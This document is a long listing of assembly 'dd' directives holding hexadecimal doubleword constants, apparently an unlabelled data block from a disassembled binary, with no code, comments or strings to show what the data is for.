dd 0A3E50981h, 3444DEh, 0E78093ADh, 0A877EE9Eh, 8B091D09h
dd 94741875h, 219B2489h, 0D124293Ch, 0E4A81846h, 0B947A1Bh
dd 0D017BB8Bh, 4B11581Dh, 0BDB2E980h, 0C439E2E0h, 5C6C1383h
dd 0DC2A3CC0h, 2FA34F5Ah, 1F4A236Ch, 8EEB82C4h, 2C518AD4h
dd 0C1181179h, 0A9FFB604h, 28A28542h, 1A146808h, 4CD65B1Dh
dd 9A8E4C6h, 0CCB48242h, 4C3724A9h, 0F8307512h, 7E955ADh
dd 7B8E31F7h, 8D1CB005h, 0EC352AA8h, 9C81A901h, 4E0163CCh
dd 0B26033F4h, 0A7F304Ah, 0BF922900h, 54740482h, 0C070424h
dd 0F3E7B509h, 33E1E2F4h, 2B0D2380h, 3C98CC2Ch, 0D3BF3180h
dd 5A8088B8h, 0D8F06115h, 0F428092Fh, 8C0FACh, 0F9ED234Dh
dd 0F43599E5h, 3E47EF16h, 1F56EC9Ch, 22175A25h, 58365000h
dd 93B271EEh, 0A072A1h, 519D76BDh, 0E48E11BBh, 6860DA17h
dd 8AB0A419h, 0EC9DB0DCh, 905CCAh, 0F970B70Bh, 50BEC446h
dd 4F4656h, 0DB2F0922h, 7AC1B8F6h, 37AB095Ch, 4C49D363h
dd 111FD282h, 3683804Ah, 12DB905Dh, 426CAFBDh, 32F8185Ch
dd 0E711F09Fh, 17A26C80h, 45026285h, 56C80877h, 784C40F3h
dd 0F6C38335h, 0E85707C0h, 0C83ADB28h, 0FCB4C108h, 4E1C0237h
dd 438549h, 0E86C8C84h, 50415D6Ch, 369020ECh, 25F04C2Dh
dd 54E0CA18h, 8B42409h, 0BBDA8A54h, 55B04224h, 8AB8CA02h
dd 1B11301Ch, 8B8E8780h, 448C7383h, 7F003A17h, 70C11D8Eh
dd 3082223h, 21532B01h, 1CBA58B8h, 545A5854h, 18EF5608h
dd 9CA60F4Dh, 2B006CC3h, 0FBAC87BEh, 0C35850D4h, 900E4ACCh
dd 227149Fh, 0B0B1E859h, 0DF6D940h, 9579D430h, 0DD12054Ch
dd 8A942AD0h, 0B8F85898h, 810E8CE3h, 6261D454h, 548BE856h
dd 3E8A0FE0h, 34213D89h, 63338341h, 55150030h, 0FCE088BAh
dd 87C9642h, 9C20F9DCh, 0A21D7425h, 0CE9088h, 0E406830h
dd 9718B09Ah, 8031DC7Ch, 98024060h, 4739B905h, 0D0400A1Ch
dd 72973313h, 21B11830h, 57FA9A4Eh, 0E9ECDF09h, 0A0D80F8Ch
dd 80B9FF1Eh, 48166464h, 0B8E8A92Bh, 915F1D4Eh, 0B508423Ah
dd 50408657h, 638243A0h, 238D2E0h, 0D4541859h, 0EC746C80h
dd 41C48Bh, 271FE6Eh, 493CFB2h, 974CDD2Fh, 80E89138h, 43F88831h
dd 2C5F468h, 0BCA0B4DAh, 1C4870AFh, 3854885Ah, 25132EB4h
dd 844160ECh, 0B8F2BE31h, 0C90CF0E0h, 70659C20h, 97604CC4h
dd 4FF2CA82h, 0B4D00328h, 14744002h, 0A0051BEBh, 0BAD7249Ch
dd 0B66400D1h, 0F71D36C3h, 52F1CA5h, 0E8BD27h, 6A5F0B53h
dd 0C8C4ABCAh, 0BB0224D0h, 6C78E487h, 0A7899509h, 10E0822Fh
dd 0BBBD030Eh, 2D1D1805h, 0A849D01Ah, 0E42CE5CBh, 0BCC66046h
dd 6CF04997h, 0E030205Eh, 630C87F6h, 0A0D131F8h, 901340D8h
dd 3EF24C98h, 10DA0982h, 7E067B58h, 8FC1029Ch, 3E93B858h
dd 50604A00h, 40096834h, 10A0248Ch, 991B0053h, 37552D85h
dd 0CAD8C41Eh, 2E40C262h, 0DCB7AC89h, 1BDA0387h, 6884BC53h
dd 0B9A9069h, 0D03738E3h, 2CD2889h, 1A24F0h, 3534BAB5h
dd 11F49795h, 5DA580E2h, 0A41852E3h, 853905B8h, 0C16E3FABh
dd 0E6593E92h, 0CC903C7Ah, 56BF01EDh, 90814AE8h, 8EEA0080h
dd 25B9425Bh, 5A043336h, 0DFD05728h, 83FAA4E1h, 91AA4h
dd 0F918ADC9h, 0FAB62194h, 8CF20300h, 7DE34579h, 22C4A00Eh
dd 8F32162Bh, 8B0452A0h, 0C047C80Ch, 5C0DCF2Ch, 0A89ECE34h
dd 6E4FC8F6h, 0DE480180h, 6CAD401h, 12A28063h, 31C6330h
dd 0B9A20554h, 42987BCDh, 0C0A8D618h, 8203222Dh, 4136877Eh
dd 83B1B1C1h, 0B1493830h, 0AC6715C0h, 0F852093Fh, 73F13100h
dd 3A2B51Fh, 0CC58FCB4h, 0ACB184E8h, 6D184D71h, 0E2BA9000h
dd 0B8A8753Ah, 4DD4A9C0h, 0B5842473h, 0B43143E0h, 0BE00BFC1h
dd 0B4D95C97h, 0AFBBE1D8h, 0C0002B84h, 7F42A63Ah, 80B180h
dd 0EC7D3156h, 112C1F97h, 7E089035h, 70179E37h, 0F2F1DA69h
dd 0FF50F60Dh, 67F2E8E6h, 6048E448h, 133A3319h, 45C880BAh
dd 0CC2D1B88h, 4D5A8C88h, 0D0C6DC4Fh, 0C0B6FA22h, 0A1ED00DCh
dd 0F9D7BF4Bh, 4DEBFAF3h, 0B46E2E98h, 0ABF0A600h, 0D4DB5156h
dd 405BCF3Fh, 0E4A095E2h, 75C83C24h, 0FB2F5700h, 0CF39D33Fh
dd 50581636h, 90B4C2BCh, 0DCEAE88Bh, 0FE1BCC61h, 0CA527B00h
dd 1F97C31h, 25DB014Dh, 335A890Ch, 18FB1FE0h, 3A523E07h
dd 6C88B760h, 10C08206h, 689648CCh, 86992C02h, 4F20610Ah
dd 8F026436h, 9F548CBDh, 1058185Eh, 36BD0588h, 40021BFCh
dd 2B6374A8h, 87797A80h, 0F224F0EAh, 0B6111CCFh, 0EC318E00h
dd 0B8569585h, 3000DF5Eh, 78612E5Bh, 2E9C8128h, 0ED00646Bh
dd 27006C3h, 0AC009949h, 0E165F132h, 3C8A5D5Fh, 80001D7Fh
dd 9763610h, 854C1B60h, 63DA05A4h, 4078754h, 18C38B25h
dd 97E900D8h, 50664073h, 0BB1D1085h, 0DD4963D9h, 0E494655Bh
dd 8647614Bh
dd 164E38C0h, 495DE3A6h, 0B49798E0h, 0F5804991h, 0B5DAF15Bh
dd 5FF38912h, 0ECE0900Ah, 45337B89h, 610EE410h, 0F422E3FEh
dd 1F1DB0Fh, 0D16A1DA7h, 3C3C1549h, 8C46BC68h, 0AF1F927Bh
dd 6938FC10h, 5B709122h, 198490F1h, 0A91C3D13h, 9400174h
dd 0FF5AB450h, 4F2B9F0h, 0C35CAC67h, 20FF87F5h, 4BC85481h
dd 27CC314Dh, 44F4C7E5h, 79876246h, 88398294h, 0EC070AB8h
dd 0F4CF2F05h, 0ACC11188h, 0BED8037Ah, 5EF8B6BDh, 952C4346h
dd 79F104A4h, 5B38F8C1h, 4423582Fh, 2C014E26h, 0FFAC9734h
dd 0C2133028h, 239C3A15h, 18D2160Eh, 5CEB614Bh, 8F70A800h
dd 4139BB8Ah, 0A4E2E05Bh, 0C1B202A8h, 255C0B1Ah, 0CE480440h
dd 1D2A8D80h, 42F1C9B4h, 0A35A3B37h, 465E20D4h, 51C0014Ch
dd 78655D7Ch, 2A3060C6h, 0F48F488Dh, 4F905A10h, 0E911088h
dd 89F0B44Dh, 48025440h, 490E2116h, 0A373E7F1h, 0EF874E2Bh
dd 0E588029h, 14832C48h, 505F2685h, 8C4BB8h, 0CDB57C2h
dd 8050AE3Ah, 0EB014C00h, 5983AA46h, 241A9D8Dh, 465E8876h
dd 0E60C7310h, 793EB528h, 75180043h, 6862B840h, 0E70CDB03h
dd 2145B464h, 4680002Dh, 79852FDCh, 1200D70Ah, 1C42A150h
dd 4C04A409h, 9C10CC4Dh, 0F0B3000Bh, 626A1808h, 99CB7CDFh
dd 18497904h, 0E3E83EBEh, 0F90068C8h, 0B8A3B18Fh, 932DDFBCh
dd 3C1C4808h, 0C92D8CDBh, 645467CDh, 4E5F604Ah, 4FB10530h
dd 808453A0h, 0D8E9DA6Eh, 1DC1B007h, 93A417EEh, 28B220D5h
dd 8C3048F2h, 0E99B2CC5h, 845444D8h, 8570D1EAh, 0B85069F2h
dd 0F5B10017h, 5D71EF44h, 56123D52h, 30A17BE8h, 6E4F5C6Ch
dd 0D16B02A8h, 0D667E88Fh, 8B36139Ch, 0C0DF88E0h, 0F3D0552Ch
dd 2501189Eh, 2BEFD707h, 16836424h, 44154B4h, 0FD2C2348h
dd 0A6AD21FCh, 40BD650h, 40D8C423h, 0C03A84B0h, 2A8598D9h
dd 1491F44Fh, 0C31844D9h, 0BBF1BA02h, 74F704B7h, 0E8880938h
dd 6D04E458h, 87513ED3h, 4C41A0A0h, 2F81707Fh, 822BD060h
dd 8869828h, 0E4C52B5h, 1DF8A31h, 0C18E4B01h, 0A0042BF4h
dd 233EFB42h, 0EA83074Ah, 0BBD900FEh, 0D662A887h, 56CB27B0h
dd 0F8472D98h, 8D631464h, 6BEAC88h, 0B38F1613h, 9E7A2821h
dd 354B430h, 841DFDC3h, 0D0B889F5h, 70C245D7h, 4D358A58h
dd 56DEC024h, 0EF88A3F0h, 74ECBE5Ah, 0E9024B47h, 60EA77A1h
dd 8A1040F3h, 0C814CAD3h, 6BF3C04Eh, 5B01B272h, 29DD8BE7h
dd 9C54491Ch, 13F248B2h, 2D7F330h, 0BF46C426h, 88A0D418h
dd 0D599ECA1h, 0CC72A02h, 7CF356D6h, 4690DC1Ch, 3CA7662Eh
dd 0B7A3BA0Bh, 427584DCh, 5774887Eh, 24E08810h, 0F47FF912h
dd 550B046Ch, 97990A5Eh, 814B914Ch, 5AB79DCh, 2E4D4E8h
dd 548A84C0h, 20D0B7F0h, 7CEF853Ch, 1035C334h, 9AF7D8F8h
dd 7898A380h, 0AA009841h, 0F37A9366h, 5EB7BC13h, 806C85B4h
dd 2EF9E920h, 89D85125h, 80BC37D0h, 697EE3Ch, 0B8BC3210h
dd 7D787849h, 0D9CA5BF7h, 0B23872D8h, 8F423017h, 5C59F00h
dd 82D4E48Dh, 883038ECh, 0C2640CDEh, 0FE8C1C58h, 838C138Eh
dd 3B0C387Bh, 0E8E8001h, 0E6315FBCh, 7C6896EDh, 5A8CDFBCh
dd 0F8C8C0A8h, 7700F24Bh, 9911D3Eh, 5CBEBBE6h, 2302DCEAh
dd 3948EC85h, 89C7F080h, 1D058EF2h, 0DFF4B7BEh, 0C0689819h
dd 0FC285AE1h, 69DAB818h, 8725BC2Bh, 0E4288EC4h, 10F4B4DBh
dd 0DCE89C5Bh, 1FE68200h, 56789B46h, 0F8849D31h, 9B1652h
dd 613C9280h, 88176249h, 0CD015B0h, 0C991AAEh, 3CB52785h
dd 0BC0020B9h, 32166174h, 12732851h, 0F6362185h, 0C46FB01Ch
dd 18D1091Dh, 68022975h, 0B85AB5DBh, 98BC0927h, 885E7738h
dd 0B078551Dh, 0F41C967Ch, 83EFEC25h, 5B37B618h, 0C8E48E30h
dd 0BCDBC011h, 930B5EDEh, 0C260E483h, 52E42B2Ch, 2C900B24h
dd 84717C42h, 0BA67DD40h, 0A5BB124Ah, 0F25CA2E0h, 3E5A3042h
dd 2D5C69E5h, 0EB3844BFh, 7040BBD1h, 4EEF3383h, 23302E9Ch
dd 5D240048h, 0DC80BA7Bh, 9C12E4BCh, 42A278E3h, 3CBABE30h
dd 98249DC5h, 400DC68h, 0E30179B0h, 3BB85861h, 0F45028F4h
dd 30490B15h, 2050489Ch, 6B985Eh, 2B5C5A2Fh, 29DA5E0Eh
dd 3A0C8BEh, 80704AB4h, 4B935BE4h, 421D7F01h, 8D23892Bh
dd 0ACF3C4EBh, 0F3047A2h, 0B0510118h, 0B3B8A6C1h, 22547CDDh
dd 0DC819F14h, 504208B4h, 6338EC08h, 6BBC4082h, 40418249h
dd 5800F66Ch, 5CD7F6D0h, 16ECA8E2h, 1B29008Ch, 40B611B3h
dd 5400BB6Fh, 37BAB060h, 279F2E3Bh, 0ECA78442h, 166CFA3Dh
dd 0A940F41Ah, 3C35AF0Eh, 0CC140059h, 2443DCBFh, 53C258Ah
dd 0F89C7F32h, 0B59925C0h, 85B68790h, 0E47DF078h, 5099744h
dd 2B98A95h, 43B56B4h, 8F9088B3h, 0D01C7B00h, 3135112Ch
dd 4CE0FCF2h, 0D8F58B4h, 9AF4DDE0h, 0BA2C3F87h, 0B878D8C9h
dd 4D30422Dh, 0F0DBAD48h, 7DB38F3h, 0D05658C2h, 17E04AFFh
dd 0D400E4E3h, 60178F00h, 7BF9EB6Eh, 0C9CC6012h, 9F5DF131h
dd 90DD605h, 0C0057B4h, 88B2F3BEh, 46F22640h, 0B3090688h
dd 48EB210Ch, 1F606BD0h, 0BA793A2Ch, 3C71F97h, 669F0080h
dd 0FF686447h, 0AC421538h, 1C0B4CB1h, 67244F61h, 0D63F7695h
dd 0C33C7F0Eh, 5AA0144Ah, 4A23203Bh, 6E8E4500h, 95325EDh
dd 189CD220h, 1C0AA452h, 8880592Bh, 928DF100h, 0BC2707B8h
dd 0EE0960B8h, 970EC0C5h, 1646F534h, 4AC8708Bh, 4B6655C1h
dd 5970CFCDh, 949C4C03h, 2D190810h, 308C44B3h, 79A1DE17h
dd 2800EB85h, 0D9485155h, 5BE8DAh, 931F755Ch, 23DBBB80h
dd 6230E412h, 0C02A3C0Bh, 59BFF574h, 215B6C2Fh, 6ACBA650h
dd 4823043Bh, 0E33E2600h, 7CA986D4h, 748F1292h, 0B2A0A3F9h
dd 0BB53046h, 0DDA74E02h, 0C00C5830h, 1833D100h, 58CD7887h
dd 670A89BFh, 0B8EC6A4Fh, 54003611h, 442D2F91h, 4A2E1276h
dd 6080B081h, 0BF598B25h, 9BE82754h, 0B0E31001h, 943B7FCFh
dd 22004623h, 0F9248BDAh, 23545B3Eh, 0E7BA87E8h, 350F009h
dd 0A3B221B9h, 410039E3h, 0D2A7956h, 56CEFA9h, 174EE742h
dd 23983A6Bh, 3A8C0045h, 0E3FBE94Bh, 0CC84404Eh, 6B5BB0FDh
dd 4EF700ACh, 87088818h, 9D1173Dh, 0EE8C20B7h, 45412BEFh
dd 0AABC643Fh, 253BF06Ah, 9C1E5681h, 0CC5CC78Fh, 3896D40Ch
dd 0CDF6273Eh, 0F22C0FCh, 0C29763BEh, 14C47E00h, 5DC1D03Dh
dd 78F0D0B7h, 0BC838700h, 0A0A95695h, 54BC744Dh, 28DDA800h
dd 0EF5386E7h, 0B8092DEEh, 0D0848812h, 2508BC60h, 244418h
dd 889AC424h, 0B374AEA7h, 5DD3E3A0h, 9212B900h, 0B46582Fh
dd 1E4F2C55h, 48467470h, 2063EF00h, 0D4B0B962h, 0D1EC80A0h
dd 96812E80h, 0AFBD86E8h, 7CB4193Ch, 486E976Eh, 570AA17h
dd 0F557D424h, 0BB9820C8h, 956A1901h, 0A0DE2D56h, 23142F7Fh
dd 0B5800FE4h, 94B8C402h, 0CE91ACD4h, 0C07B9C25h, 3E8F858h
dd 22EE5AF1h, 5DDAAD04h, 17B788D8h, 8248911Ch, 0FE50199Ah
dd 0C900493Ch, 92165D2Fh, 57829C91h, 0AE284C68h, 0AEEE20C0h
dd 0BEA9D336h, 0E4972774h, 4E804591h, 5805130h, 463CE416h
dd 583DC8A2h, 0B80D8892h, 0C0CE5AA4h, 0C8C04588h, 385FE935h
dd 6989EE60h, 88CD87F3h, 0B88461C4h, 34873081h, 86F05h
dd 0D428CC53h, 0B5EBFF83h, 0A3CB019h, 47A27842h, 12BF30h
dd 9778E13Dh, 3807F054h, 4A84C695h, 0E2E4E358h, 19A43014h
dd 8803C077h, 0C854696Ah
dd 8060F663h, 95E440B0h, 8FBCB0C0h, 17DEA020h, 8378D25h
dd 17ADE3CCh, 80E4913Ch, 2D102F8Ah, 0B44301B3h, 4B3E63D0h
dd 48742E6Eh, 0E39D008Bh, 87BBFE02h, 8A2869DCh, 0D2B8143Dh
dd 5B42473Dh, 0C500887Ah, 0ED776EC4h, 9B03B93Fh, 173DDBF1h
dd 0E36900E0h, 964758A4h, 0E13E047Fh, 7AD3005Ah, 8DD233F9h
dd 552A03B1h, 0CBEFFF25h, 6CF4B0D5h, 8BE428F1h, 0C4BC4750h
dd 0F0C06014h, 57D3006Dh, 5C21D7E2h, 0D940B487h, 0D162EA8Dh
dd 7BBCC4D1h, 0FF7A9300h, 9C87BCA9h, 1FB0B1DCh, 0C20581F3h
dd 6AA61572h, 0DCBDF452h, 9F0657B8h, 0C68E8D4Fh, 20AE97A6h
dd 36B17EE2h, 49793CD1h, 38012318h, 20DF1467h, 6830F336h
dd 0AD3A414Ch, 71037C0h, 0E0E0ECC7h, 0B17842D4h, 0B0496B0Bh
dd 2841188h, 37412034h, 5791667Fh, 0A3174F29h, 3142F288h
dd 0AC202F1Eh, 149E34Ah, 0A23469A3h, 0C0CF43BBh, 2413567Bh
dd 1891E4F9h, 203DB5DAh, 58EC2304h, 948C164Ch, 18CC2D2Bh
dd 2071BCE2h, 6E1848D1h, 993F8C3Eh, 92194355h, 7E04307Fh
dd 58715B33h, 4880405Ah, 0C9608941h, 68793D21h, 0A0B7BD02h
dd 67B40ADFh, 0ECB86027h, 0C700CFF4h, 389EA83Bh, 88D9DAh
dd 8D337F39h, 0B4320361h, 641DC006h, 9F97A42h, 2A568CFAh
dd 0E11B01Dh, 0EC1DB981h, 56447438h, 0C047E827h, 5EE48364h
dd 0FD88C5C0h, 1B7B8C8h, 71D7A06Eh, 0E4B8990Fh, 0E4F6BCB6h
dd 528040F5h, 0A1B52480h, 0EED0AFA0h, 33C6BA01h, 304CA268h
dd 6975D558h, 7DF46C01h, 8D088BAh, 7417E072h, 1AA890F6h
dd 0B4195606h, 9D40F1D2h, 546B7Fh, 8DE5EA70h, 41742A2h
dd 1FF05721h, 0D2850E61h, 70AC5812h, 0B81CA9D3h, 41D500D2h
dd 4DB3D610h, 50373E3Ah, 0EAF48935h, 0F01CB2C2h, 6050B414h
dd 6C718A95h, 0CC9CB3F4h, 5F80AA9Fh, 2185D8FFh, 983142Ah
dd 5B2550BAh, 4EE40445h, 0D0956D61h, 0FD0C03EAh, 483906F6h
dd 0BE10FCB7h, 685F4188h, 87FC21ACh, 4ACF7AA9h, 0C0C46D09h
dd 481D39E6h, 5E750E09h, 38D1DCh, 377DF1CFh, 0CD002F71h
dd 0DBFFD8ADh, 0B78CCC03h, 662A1000h, 0E450B0AFh, 8B4BB294h
dd 0E88ACCEh, 0BA8A92C0h, 0B2834EBDh, 578F1348h, 60A6780Eh
dd 0C28AA0D5h, 0BF442469h, 68972700h, 0ED801591h, 0F905713Dh
dd 0C8049207h, 0D0047FBCh, 444B8C9h, 0A97434ABh, 0E8A0B864h
dd 0E8F70506h, 28F2177h, 742B97D4h, 81523E02h, 22859828h
dd 0ECD006D1h, 9D4E5ADCh, 0A2403384h, 61343015h, 0B909F47Fh
dd 763A4501h, 0A97540D8h, 0D0F81AC7h, 0BB39403Fh, 3DEE8E8Ch
dd 92AC277Ch, 60DBB051h, 5F2A9CCh, 1DB48EBCh, 0B1BCA801h
dd 2909FE88h, 29BA860h, 89951F5Fh, 0C841D73Fh, 0E0B31039h
dd 0B8261616h, 809C3C60h, 75CC5020h, 10603057h, 0D4B7BB20h
dd 0BA026094h, 561AE868h, 49467624h, 16738D00h, 2FF0568Eh
dd 68C83751h, 489BD270h, 0B7DACC82h, 508B8C4h, 2D33C8ECh
dd 0F9599425h, 265BECA8h, 3ABA1694h, 4EC4015Eh, 2B3189F0h
dd 885DF088h, 0FC12B898h, 34161BF3h, 13C814CEh, 194518C0h
dd 50941CBDh, 0FCC28BF6h, 98805459h, 0C65C067Bh, 3E645BE3h
dd 4523A8h, 7DEF74Ch, 5A1CB4C1h, 0CB911235h, 7B992B00h
dd 0B9877D0Fh, 0DFFD1A00h, 0D0589077h, 454F4BAFh, 0A8700278h
dd 0BF32C2F0h, 1168C0D5h, 0E28D4A28h, 749922C0h, 845013F1h
dd 0D300AD71h, 0E5B2E8F2h, 98ADA730h, 54F4040Fh, 88C48345h
dd 991F5BFCh, 828981B9h, 40CC7C5Ah, 0A86EC38Eh, 4A65D012h
dd 803CB408h, 0F8DBB182h, 0B0000139h, 3E54AE4Ch, 2B298FCh
dd 528D71D6h, 0D4605B90h, 1880D43Ch, 38492E6h, 7363094Ch
dd 0BEAA8182h, 74A644F6h, 0BC106760h, 25B609C9h, 8C4054ECh
dd 0F4B0E329h, 694048BCh, 17A824Dh, 55D4B2ADh, 0FC155953h
dd 245A875Ch, 0C9BA8400h, 273E6B17h, 7C89318Ah, 0DCD4DEh
dd 0A4C64D67h, 5809DA0Eh, 0CFC8016h, 0FB0524A6h, 0FD5CE0EBh
dd 105C4C30h, 164E55A0h, 80289B7Ch, 0EB62BF96h, 0A4174B52h
dd 4C1E6E34h, 0CBEC25E6h, 0F871390Ch, 8DE740C8h, 99178C9Eh
dd 28D820DAh, 1D012509h, 41F44918h, 0C029A35Ah, 0D62C50B8h
dd 39114012h, 2897BB06h, 0CC80A8EFh, 0EE754A25h, 98D7E002h
dd 591E4F54h, 184379ACh, 9C974C4Ch, 4A44E310h, 4C13861h
dd 8034E311h, 4173B139h, 10FCEC6Fh, 5F4617C7h, 0DFC84C9Ah
dd 0F0570AC0h, 503962D7h, 0F2822FAAh, 2F5D343Bh, 8BF00320h
dd 488C74Bh, 0FDEDE9DAh, 0A5B2218Ch, 0EA40D44Dh, 0B12C2C9h
dd 0B2DADC87h, 0FC9EECE4h, 13474676h, 1008F37Fh, 5B8F80DBh
dd 0AD0EA161h, 6959EE1Fh, 4193803Fh, 56904F24h, 6BA4BC25h
dd 0F36720EDh, 0E660BC17h, 28ADE447h, 20F07F96h, 59014283h
dd 8FBC8EBAh, 2821E0C0h, 8C1CC53Eh, 0F6006EE8h, 0C357597Ch
dd 1647D5ADh, 0B76F1069h, 2529B190h, 451CD22Ah, 2AE5204h
dd 1A788B4h, 78EB5BF5h, 0D7004FA9h, 0C52AF4BFh, 5816612h
dd 0B99733EEh, 0A4E7EB07h, 6D25FA0h, 0A1BD8907h, 83631430h
dd 0E68180C1h, 917D0128h, 419D017Fh, 3B1E811Dh, 3F860FD9h
dd 97FDD0ADh, 801D9186h, 0AA6880BDh, 93050019h, 666E1196h
dd 291FD98Ch, 6C32798Dh, 0FCD40F6h, 0FFD15B84h, 0CA5F960h
dd 12EC00B5h, 95FF5F8Fh, 36D02E45h, 8C1CE8B1h, 5499C900h
dd 7762DDCDh, 0AB0E5EE6h, 15587840h, 13DCC42h, 1EEEB8EDh
dd 6F0F8385h, 7677EDh, 1147D850h, 45DFBF8Dh, 0A95E5238h
dd 17D1CB5Bh, 56B80B18h, 0B5198BE4h, 2BD81C05h, 817BF5F2h
dd 0BBAF458h, 57297F76h, 1B97E877h, 893A0747h, 0D0AB6DD9h
dd 0BF0F7204h, 3DBAFA61h, 0DD8D0834h, 20351186h, 6639D71h
dd 503DE990h, 40351F17h, 0C0528B0Bh, 3114E253h, 2BE96EC1h
dd 0B6ACAA00h, 0C4F5FCB0h, 0C8A86D00h, 22F4F229h, 0F440701h
dd 27FE8B20h, 8ED844C3h, 0C0178843h, 0AE1D93FAh, 0BD958918h
dd 3085C7D7h, 330C2A05h, 3A0CCE5Dh, 3B01830Fh, 80E2DCFCh
dd 52B6BFF0h, 810C2273h, 341AA5BDh, 175192D0h, 0AB30850Fh
dd 5480449Eh, 77FDA53Dh, 85FF4B14h, 0FA663031h, 0A3AD9509h
dd 0B5F5CFA2h, 0CE810F41h, 8A203885h, 17116069h, 31F2C2BFh
dd 151DBD32h, 33DAD790h, 0A7F37100h, 4E223B3Fh, 0D0540FC6h
dd 1B204746h, 6D178251h, 2EEF695Bh, 3B1B239Ah, 0F92AE180h
dd 9133D8DCh, 7D83E291h, 32EE7E3Ch, 0F2D8E432h, 58FCDBDFh
dd 3760AFE6h, 9D29F042h, 52154905h, 0D8391122h, 24C00043h
dd 8D815B08h, 0B5401AFh, 0C5F57F72h, 886F4B71h, 0A82DC01Dh
dd 4B028E88h, 689D9265h, 8462B5A1h, 8EBF5FF7h, 0C2158865h
dd 0DAD70D05h, 2FAE05CDh, 0C3EFF7Eh, 0F806F389h, 88E65EC1h
dd 0F86E287Dh, 8C1DB815h, 0CFB3A000h, 0D50F1FEFh, 36080399h
dd 0FFF839E9h, 58E6BE8Dh, 0C44F01B7h, 38E9F4FFh, 0C18BF816h
dd 8889CBEFh, 8C9C019h, 0D816CF46h, 0C7EEEBACh, 0CD770B38h
dd 6C0160AFh, 0E1007BECh, 831E448Ah, 5AFDB531h, 8F05FE1Bh
dd 388F0F99h, 84C01D88h, 0EEC434FEh, 8A230465h, 809076DEh
dd 508B27D4h, 21E10AC4h, 0E29CD398h, 6E62000Ah, 0A310B152h
dd 73003075h, 0FCA532E6h, 4C3D0918h, 15EC396Ah, 42703E8Ch
dd 0E86BC782h, 51F76019h, 1816D19Ch, 0DA752DEDh, 0AC9FA0F7h
dd 14AEA7h, 6051EF41h, 0F5E5F61h, 0C7048722h, 0A2386CF0h
dd 0B080F9B7h, 6180EC0h
dd 1AC466A5h, 42944F60h, 3802157Ch, 0DDBD2BCDh, 3259F503h
dd 0C9D66380h, 0AD529E5h, 5C08393h, 194674E7h, 8AF35E00h
dd 902E070Eh, 1F810F34h, 52599E1Ch, 0E91112EAh, 0A30B800Dh
dd 0F49F975Dh, 0DBB600F9h, 0A10E7C14h, 31280F3Eh, 0BC0314E8h
dd 8488EEBAh, 3917F03Fh, 622315FDh, 5A0AA50Dh, 0DED59058h
dd 178BE80Eh, 5EFB6252h, 0D08F9B51h, 1F37B66Dh, 0B0AA0DF5h
dd 3ABE6660h, 4FC6FF9h, 608C1BE8h, 0D8E91F19h, 53B074B6h
dd 241A7120h, 4B198A0Fh, 7917D03h, 84861921h, 263DBDh
dd 0A8FC9D8Dh, 7F29FF17h, 182C30B8h, 0F6019ADDh, 0D3FF8CD1h
dd 0ADC0BD7Ah, 23915FCh, 87C41763h, 59918B0Fh, 0E4E3A611h
dd 44236D08h, 80D82F8h, 0B5895120h, 56494B9h, 569DE95Eh
dd 0D498EBC7h, 938E92CAh, 0C81679BAh, 790283EFh, 0F42A12Ah
dd 580B5288h, 358023E9h, 0CA5FDCE6h, 86E170B9h, 5A090189h
dd 0F9C0DC05h, 0B601E485h, 100574B3h, 4010A98Dh, 84F5EDFFh
dd 1AF99D0Dh, 0E381F743h, 28CC7B86h, 5C0B1D19h, 0A921BBDBh
dd 17514BA1h, 0A3144318h, 22DB62BEh, 168376B5h, 0EF180C5Fh
dd 972217D4h, 4D432010h, 980079B1h, 0F0A8E50Eh, 251C459h
dd 0D71F07F5h, 5BDF9FE9h, 0EA19006Dh, 1C12FF7h, 0BB3C6973h
dd 0FE6382CDh, 8D85C799h, 7A88ED3Ah, 0C5A80481h, 0E9CB800Bh
dd 0FBEFD773h, 39985A40h, 9D090B08h, 4CD72551h, 349D9082h
dd 24182981h, 88AFDA4Ah, 90F0C01Bh, 0E90A969Bh, 0A455E7EAh
dd 2FE0AE67h, 1F489720h, 0C0C73EEFh, 5D7291D0h, 8D48CE90h
dd 0B43AD607h, 0F10A1523h, 0B909EFCEh, 0CD361009h, 23818018h
dd 73FEFF39h, 0DE8C0F3Dh, 0C6460FBh, 0EF07A424h, 7980345Ah
dd 80BD8E19h, 77BAD763h, 12D9FEAEh, 44DB8C66h, 0E0C3F6F1h
dd 4B8B2163h, 0B593016h, 0BEAAD9B5h, 4007E104h, 0BA66B99Fh
dd 3AE52690h, 24040066h, 0D4E9F18Bh, 5D00F7D2h, 3FBA2FCCh
dd 48E6E0B0h, 14E80570h, 0E4E2168Ch, 23803A71h, 8ADE001Ah
dd 2620980Bh, 0B60F440Bh, 148D7D8h, 4600F8D4h, 6C45C03Fh
dd 0C5692B0h, 2B9DBD0Bh, 0BA485FF4h, 9ABA9729h, 0F1D5C0ACh
dd 3F4E59FAh, 77947AF3h, 522B948h, 0B1FCBE01h, 0C38B33FEh
dd 41B8C23Dh, 0BEDC7100h, 5F6D31E6h, 4E825C1h, 0E800A537h
dd 0BCDC2A6h, 234F0135h, 95893AB4h, 0FF6389Dh, 23E2F766h
dd 122D09BDh, 3AD82B12h, 1C2378h, 0C498DFDCh, 7C0B1F66h
dd 8689ADEBh, 0C45816B0h, 0F34C576h, 241CA550h, 0EFE78880h
dd 672D9C48h, 0C5C6B060h, 63023172h, 7DE6B966h, 86347161h
dd 0B3398509h, 879447ACh, 61D81FD4h, 0C0E6817Fh, 452B0822h
dd 5D42587h, 12800F55h, 81FD802Ah, 0DE0034D7h, 613C360Ch
dd 4D40830Fh, 4A519E02h, 0ACC3B97Ah, 29300632h, 7E2161BDh
dd 0BA99BA72h, 17181AF9h, 1884101h, 8BD66D72h, 477BF5E6h
dd 12C5558h, 33A86EF8h, 35BD9D89h, 6B4D5422h, 0F76D012Ah
dd 0A8126788h, 90204325h, 431C4911h, 23902E96h, 0CBE3AC14h
dd 1AE97402h, 0BF665800h, 4499794Dh, 1012E50Bh, 70055F7h
dd 9E97C623h, 47ED6C2h, 1D015656h, 0B6708E91h, 4874FE84h
dd 89EC0F62h, 3384D910h, 0B3ED3912h, 0F016237Eh, 3401B768h
dd 8650BD6Fh, 2BF2DCEEh, 0DD587844h, 6E2EF415h, 13001B23h
dd 728CBA6Ah, 0ACF8240Ah, 3F10B97h, 5BCE69DFh, 29B96Fh
dd 8B1336DEh, 34AC90h, 352AF542h, 0E9C51D48h, 37C32B27h
dd 36CB00A9h, 0C0DE8CC6h, 0B718EA01h, 26598589h, 2F38A605h
dd 193D7D5Dh, 6D1F500h, 287F6Fh, 3EF09798h, 0E9F7B70Fh
